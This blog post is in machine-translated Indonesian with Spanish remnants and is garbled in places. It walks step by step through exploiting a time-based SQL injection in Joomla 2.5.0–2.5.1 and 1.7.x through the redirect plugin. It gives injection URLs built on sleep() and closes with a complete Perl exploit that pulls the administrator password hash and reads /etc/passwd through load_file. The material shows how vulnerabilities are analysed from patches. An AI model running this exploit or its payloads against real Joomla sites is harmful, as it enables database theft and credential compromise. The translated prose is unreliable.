Eksploitasi Jejak Joomla

chmood
      Dalam posting ini saya akan mencoba untuk menjelaskan bagaimana membuat langkah demi langkah untuk mengeksploitasi Joomla 2.5.0-2.5.1 atau 1.7.0-1.7.5, dengan cara yang paling sederhana mungkin dan menjelaskan dasar-dasar injeksi SQL dan beberapa a sedikit lebih maju, karena dalam kasus ini berdasarkan waktu serangan menjadi.

Untuk latihan ini idealnya montéis versi Joomla versión 2.5.1 secara default di sistem Anda dan mungkin dapat mengakses secara lokal untuk pergi tentang melakukan tes.

Sampai saat ini tidak ada mengeksploitasi kegagalan ini 29 Februari, meskipun kerentanan dengan catatan keamanan Colin Wongdikenal. 

Apa yang telah benar-benar meninggalkan saya NO, seperti lemak dan bodoh kerentanan telah dilemparkan dalam kode. Aku terperangah yang belum ditemukan sebelumnya, neraka, jika demikian Acunetix, yang terdeteksi.
Langkah pertama adalah untuk menemukan di mana bug tersebut membandingkan kode dari versi rentan: 2.5.0 atau 2.5.1, versi yang memecahkan: 2.5.2.

Kedua file di-download dan didekompresi untuk melihat mana garis telah dimodifikasi. Untungnya tidak ada banyak dan sangat mudah untuk mendeteksi baris yang dipengaruhi oleh injeksi perintah SQL dengan "diff" sederhana (garis 8)

Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. wget http://joomlacode.org/gf/download/frsrelease/16512/72866/Joomla_2.5.1-Stable-Full_Package.tar.gz
  2. mkdir j-2.5.1; cd j-2.5.1
  3. tar -zxvf ../Joomla_2.5.1-Stable-Full_Package.tar.gz
  4. wget http://joomlacode.org/gf/download/frsrelease/16760/72876/Joomla_2.5.2-Stable-Full_Package.tar.gz
  5. mkdir j-2.5.2; cd j-2.5.2
  6. tar -zxvf ../Joomla_2.5.2-Stable-Full_Package.tar.gz
  7. diff -rN j-2.5.1 j-2.5.2
  8. [...]
  9. 71,72c70
  10. diff -r j-2.5.1/plugins/system/redirect/redirect.php j-2.5.2/plugins/system/redirect/redirect.php
  11. <   $db->setQuery('select id from '.$db->quoteName('#__redirect_links')."  where old_url='".$current."'");
  12. >   $db->setQuery('select id from '.$db->quoteName('#__redirect_links')."  where old_url='" . $db->quote($current) . "'");
  13. [...]

Ups! Dalam dua baris terakhir dari diff adalah variabel "$ Lancar" dalam versi baru yang disebut menggunakan $ db-> quote (), bukan langsung. Tersangka;).

Hal berikutnya adalah mencoba untuk menemukan pada titik kode ini dijalankan untuk mencari tahu di mana Anda harus menyuntikkan kode SQL dan seberapa jauh ia bisa pergi.

Sentuh meninjau file mana garis yang: j-2.5.1 / plugins / system / redirect / redirect.php

Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /**
  2.  * Plugin class for redirect handling.
  3.  *
  4.  * @package             Joomla.Plugin
  5.  * @subpackage  System.redirect
  6. */

Hanya header dapat dilihat menjadi componente del Core de Joomla que está encargado de hacer redirecciones dan melihat panel admin, Anda mendapatkan ide singkat tentang apa fungsi melakukan plugin ini.


Pada dasarnya memungkinkan pengalihan jika Anda meminta halaman Web yang tidak ada. Mengelola dan menghindari kesalahan yang pengunjung mencapai halaman web yang mati.

Sekarang membaca file kode secara detail dan perlahan-lahan. Setidaknya bagian penting:

Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. // Attempt to ignore idiots.
  2. if ((strpos($current, 'mosConfig_') !== false) || (strpos($current, '=http://') !==false)) {
  3.         // Render the error page.
  4.         JError::customErrorPage($error);
  5. }
  6. // See if the current url exists in the database as a redirect.
  7. $db = JFactory::getDBO();
  8.         $db->setQuery(
  9.         'SELECT '.$db->quoteName('new_url').', '.$db->quoteName('published').
  10.         ' FROM '.$db->quoteName('#__redirect_links') .
  11.         ' WHERE '.$db->quoteName('old_url').' = '.$db->quote($current),
  12.         0, 1
  13. );
  14. $link = $db->loadObject();
  15. // If a redirect exists and is published, permanently redirect.
  16. if ($link and ($link->published == 1)) {
  17.         $app->redirect($link->new_url, null, null, true, true);
  18. }
  19. else
  20. {
  21.         $referer = empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'];
  22.         $db->setQuery('select id from '.$db->quoteName('#__redirect_links')."  where old_url='".$current."'");
  23.         $res = $db->loadResult();
  24.         if(!$res) {
  25.                 // If not, add the new url to the database.
  26.                  $query = $db->getQuery(true);
  27.                  $query->insert($db->quoteName('#__redirect_links'), false);
  28.                  $columns = array( $db->quoteName('old_url'),
  29.                                                 $db->quoteName('new_url'),
  30.                                                 $db->quoteName('referer'),
  31.                                                 $db->quoteName('comment'),
  32.                                                 $db->quoteName('published'),
  33.                                                 $db->quoteName('created_date')
  34.                                         );
  35.                 $query->columns($columns);
  36.             $query->values($db->Quote($current). ', '. $db->Quote('').
  37.                                         ' ,'.$db->Quote($referer).', '.$db->Quote('').',0, '.
  38.                                           $db->Quote(JFactory::getDate()->toSql())
  39.                                         );
  40.                 $db->setQuery($query);
  41.                 $db->query();
  42.         }

Di luar komentar pertama (harus lihat sekarang siapa yang idiot). Kode dapat dilihat bahwa SQL rentan (line 24) pernyataan disebut ketika tidak ada redirect permanen diterbitkan dan dibuat untuk halaman yang (jika on line 18). Artinya, jika misalnya URL yang diminta: http: //localhost/joomla/index.php/AAAAA dan administrator CMS belum membuat redirect ke halaman ini 404 menunjukkan Joomla standar.

Langkah berikutnya bahwa aplikasi (garis 26-45) adalah dengan menambahkan URL ke database sehingga administrator dapat melihat halaman yang diminta dan tidak ada, tetapi bagian ini tidak jelas, karena injeksi Itu dihasilkan sebelum dan oleh karena itu tidak relevan.

Lalu bagaimana dimanfaatkan? Yah hanya Anda harus memanggil jenis halaman: http: serikat //localhost/joomla/index.php/AAAAAA 'pilih ... dan kode yang ingin Anda masukkan. Aku tahu, tampaknya tidak mungkin bahwa seperti populer dan dengan produk yang matang ini memiliki SQL Injection masih bodoh.

"Masalah," untuk memanfaatkan kerentanan adalah hasil dari injeksi tidak ditampilkan pada layar, atau kesalahan, atau positif / negatif dan mendapatkan sesuatu yang berguna adalah sedikit lebih kompleks, karena kalimat rentan digunakan secara internal oleh aplikasi dan tidak untuk menghasilkan halaman yang dihasilkan.
Hanya ada satu alternatif adalah suntikan berbasis waktu. Artinya, jika permintaan halaman tidak ada mengambil satu detik untuk merespon secara normal menyebabkan akhir 10 sebagai hasil dari injeksi.

Contoh paling sederhana untuk mendeteksi kerentanan ini adalah untuk memanggil halaman sebagai berikut: http: //localhost/joomla/index.php/AAAAAA 'union select tidur (10) serikat pilih' 1 dan mengamati bahwa membutuhkan waktu 10 detik untuk kembali halaman sebagai pernyataan SQL rentan akan menunggu 10 detik dan mencegah eksekusi normal akan kembali halaman biasanya dalam 1 atau 2 detik.

Database pelaksanaan dan menyelesaikan kalimat yang diperoleh dari baris 24 dengan parameter yang telah berlalu, adalah sebagai berikut:

pilih old_url DARI tabel WHERE id = 'http: //localhost/joomla/index.php/AAAAAA' union select tidur (15) serikat pilih '1"Sekarang tidak ada pilihan selain untuk mempelajari fungsi dari MySQL dan melihat bagaimana menggunakan perilaku ini untuk mengambil data. Yang paling penting:
  • database(): mengembalikan nama database: select database()
  • sleep(): menjalankan waktu tunda: select sleep(10)
  • length(): mengembalikan panjang string: select length(database()) 
  • ascii(): mengembalikan nilai ASCII string: select ascii("A")
  • substring() mengembalikan ASCII string Nilai select mid(database(),1,1)
  • load_file(): mengembalikan isi file: select load_file("/etc/hosts")
  • ord(): kode mengembalikan nilai jika multibyte atau ascii: select ord("2")
  • if(): Hal ini memungkinkan kembali nilai-nilai berdasarkan hasil dari pertanyaan lainnya: select if(database()="hola","yes","no") dalam hal ini "tidak", dan disebut "joomla" dan tidak "Halo"
Pencampuran fungsi-fungsi ini Anda dapat mencapai tujuan akhir. Sebagai contoh, dalam database saya disebut "joomla"
  1. select substring(database(),1,1) mengembalikan karakter pertama dari "joomla", yaitu, "j".
  2. select ascii(substring(database(),1,1)) mengembalikan karakter pertama dari "joomla" nama, "j" dan kemudian dikonversi ke desimal ASCII: 106
  3. select ascii(substring(database(),2,1)) mengembalikan karakter kedua dari "joomla", "o" dan kemudian dikonversi ke desimal ASCII: 111
  4. select if(database()="joomla","si","no") memeriksa hasil database () di "joomla" jika kembali benar "ya" jika tidak jadi kembali "tidak".
  5. select if(ascii(substring(database(),2,1))=106,sleep(10),null) 
  6. cek ascii desimal jika karakter pertama dari database (), "106" adalah sama dengan 106, jika demikian, menjalankan tidur dari 10 detik dan jika tidak, ia mengembalikan apa-apa.
  7. Yang terbaik, melihatnya dalam operasi langsung di MySQL

Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. mysql> SELECT SUBSTRING(DATABASE(),1,1);
  2. +---------------------------+
  3. | SUBSTRING(DATABASE(),1,1) |
  4. +---------------------------+
  5. | j                         |
  6. +---------------------------+
  7. 1 ROW IN SET (0.00 sec)
  8. mysql> SELECT ascii(SUBSTRING(DATABASE(),1,1));
  9. +----------------------------------+
  10. | ascii(SUBSTRING(DATABASE(),1,1)) |
  11. +----------------------------------+
  12. |                              106 |
  13. +----------------------------------+
  14. 1 ROW IN SET (0.00 sec)
  15. mysql> SELECT ascii(SUBSTRING(DATABASE(),2,1));
  16. +----------------------------------+
  17. | ascii(SUBSTRING(DATABASE(),2,1)) |
  18. +----------------------------------+
  19. |                              111 |
  20. +----------------------------------+
  21. 1 ROW IN SET (0.00 sec)
  22. mysql> SELECT IF(DATABASE()="joomla","si","no");
  23. +-----------------------------------+
  24. | IF(DATABASE()="joomla","si","no") |
  25. +-----------------------------------+
  26. | si                                |
  27. +-----------------------------------+
  28. 1 ROW IN SET (0.00 sec)
  29. mysql> SELECT IF(ascii(SUBSTRING(DATABASE(),1,1))=106,sleep(10),NULL);
  30. +---------------------------------------------------------+
  31. | IF(ascii(SUBSTRING(DATABASE(),1,1))=106,sleep(10),NULL) |
  32. +---------------------------------------------------------+
  33. |                                                       0 |
  34. +---------------------------------------------------------+
  35. 1 ROW IN SET (10.00 sec)

Nah, setelah ini hanya mengotomatisasi seluruh proses Contoh 5 untuk menelusuri string dengan substring () dan membandingkan dengan tabel ASCII, menghitung berapa lama waktu yang dibutuhkan web di balasan, hanya 10 detik atau 1 atau 2.
Dengan permintaan ini karakter pertama dari "database ()" ditentukan:
select if(ascii(substring(database(),1,1))=1,sleep(10),null)
select if(ascii(substring(database(),1,1))=2,sleep(10),null)
select if(ascii(substring(database(),1,1))=3,sleep(10),null)
...
select if(ascii(substring(database(),1,1))=105,sleep(10),null)
select if(ascii(substring(database(),1,1))=106,sleep(10),null)    <- Ini berjalan tidur, karena ascii dari "j" adalah 106 dan kondisi ini bertemu.
Setelah penundaan 10 detik terdeteksi, bergerak ke karakter berikutnya, memodifikasi substring:
select if(ascii(substring(database(),2,1))=1,sleep(10),null)
select if(ascii(substring(database(),2,1))=2,sleep(10),null)
select if(ascii(substring(database(),2,1))=3,sleep(10),null)
... 

Bersarang sepasang loop dan menghitung waktu yang Anda dapat membuat hasil dari setiap query SQL. Sebagai contoh: select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users" nama meja di mana pengguna disimpan diperoleh dan con: select password from zzzz_users limit 1,hash dari password administrator pengguna.

Jika pengguna terhubung ke database memiliki cukup hak, Anda juga dapat menjalankan load_file (), meng-upload sebuah file system yang saya, misalnya / etc / passwd.

Mengeksploitasi adalah untuk hanya mengotomatisasi proses ini, bahkan mungkin mengembangkan alat dan dapat dikonfigurasi untuk tujuan ini. Operasi termasuk aliran ini akan permintaan:
  1. Tanggal sistem diperoleh
  2. ermintaan HTTP GET dilakukan dengan bukti,
    ejemplo/contohhttp://localhost/joomla/index.php/AAAAAA' union  select if(ascii(substring(database(),1,1))=1,sleep(10),null) union select '1
  3. Dia berbalik untuk mendapatkan tanggal sistem
  4. Jika perbedaan waktu antara titik 1 dan 3 adalah 10 detik, adalah bahwa kondisi 'jika' benar, sehingga nilai ascii yang benar dikenal.
Nah, itu saja, Anda hanya perlu mengoptimalkan dan menarik garis tentang kode yang melakukan pekerjaan kotor.

Optimasi adalah untuk menemukan kemungkinan waktu tunggu terpendek, mengurangi 10 detik yang telah digunakan di seluruh artikel untuk satu kurang yang tidak menghasilkan alarm palsu. Perbaikan lain adalah untuk melakukan seperti banyak permintaan web, menghindari perjalanan di sekitar meja mencari karakter ASCII yang valid. Untuk pernyataan tertentu, seperti database (), hanya memeriksa 32-90 desimal.

Yang terakhir, sedikit lebih kompleks adalah untuk membuat janji dengan ord () dan DAN untuk menemukan bit yang membentuk setiap byte. Dengan hanya 8 permintaan kode ascii ditentukan, tetapi jika kami memperkirakan bahwa setengah dari permintaan akan menghasilkan tidur (), mungkin memakan waktu lebih lama untuk melakukan hingga 60 permintaan tur meja itu sendiri, yang hanya membutuhkan satu tidur ().

End! Saya berharap latihan ini telah melayani untuk seseorang. Ini adalah kode yang saya telah meninggalkan saya: el código
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1.                                                                      
  2.                                                                      
  3.                                                                      
  4.                                              
  5. #!/usr/bin/perl
  6. # Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net>
  7. # www.securitybydefault.com
  8. # Joomla <2.5.1 time based sql injection - vuln by Colin Wong
  9. #
  10. # using sleep() and not benchmark(), change for < mysql 5.0.12
  11. #
  12. # 1.- Database name: database()
  13. # 2.- Users data table name: (change 'joomla' for database() result)
  14. #       select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users"
  15. # 3.- Admin password: (change zzz_users from previus sql query result)
  16. #       select password from zzzz_users limit 1
  17. use strict;
  18. use LWP::UserAgent;
  19. $| = 1;
  20. my $url = $ARGV[0];
  21. my $wtime = $ARGV[1];
  22. my $sql = $ARGV[2];
  23. unless ($ARGV[2]) {
  24.  print "$0 <url> <wait time> <sql>\n";
  25.  print "\texamples:\n";
  26.  print "\t get admin password:\n";
  27.  print "\t\t$0 http://host/joomla/ 3 'database()'\n";
  28.  print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n";
  29.  print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n";
  30.  print "\t get file /etc/passwd\n";
  31.  print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n";
  32.  exit 1;
  33. }
  34. my ($len,$sqldata);
  35. my $ua = LWP::UserAgent->new;
  36. $ua->timeout(60);
  37. $ua->env_proxy;
  38. my $stime = time();
  39. my $res = $ua->get($url);
  40. my $etime = time();
  41. my $regrtt = $etime - $stime;
  42. print "rtt: $regrtt secs\n";
  43. print "vuln?: ";
  44. my $sleep = $regrtt + $wtime;
  45. $stime = time();
  46. $res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1");
  47. $etime = time();
  48. my $rtt = $etime - $stime;
  49. if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope :(\n"; exit 1; }
  50. my $lenoflen;
  51. sub len {
  52.  # length of length
  53.  for (1..5) {
  54.         my $sql=$_[0];
  55.         $stime = time();
  56.         $res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1");
  57.         $etime = time();
  58.         my $rtt = $etime - $stime;
  59.         if ($rtt >= $regrtt + $wtime) {
  60.                 $lenoflen = $_;
  61.                 last;
  62.         }
  63.  }
  64.  for (1..$lenoflen) {
  65.   my $ll;
  66.   $ll=$_;
  67.   for (0..9) {
  68.         my $sql=$_[0];
  69.         $stime = time();
  70.         $res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1");
  71.         $etime = time();
  72.         my $rtt = $etime - $stime;
  73.         if ($rtt >= $regrtt + $wtime) {
  74.                 $len .= $_;
  75.         }
  76.   }
  77.  }
  78.         return $len;
  79. }
  80. sub data {
  81.  my $sql = $_[0];
  82.  my $len = $_[1];
  83.  my ($bit, $str, @byte);
  84.  my $high = 128;
  85.  for (1..$len) {
  86.         my $c=8;
  87.         @byte="";
  88.         my $a=$_;
  89.         for ($bit=1;$bit<=$high;$bit*=2) {
  90.                 $stime = time();
  91.                 # select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1';
  92.                 $res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1");
  93.                 $etime = time();
  94.                 my $rtt = $etime - $stime;
  95.                 if ($rtt >= $regrtt + $wtime) {
  96.                         $byte[$c]="0";
  97.                 } else { $byte[$c]="1"; }
  98.         $c--;
  99.         }
  100.         $str = join("",@byte);
  101.         print pack("B*","$str");
  102.   }
  103. }
  104. $len = len($sql);
  105. print "$sql length: $len\n";
  106. print "$sql data:\n\n";
  107. data($sql,$len);

                                             
Komentar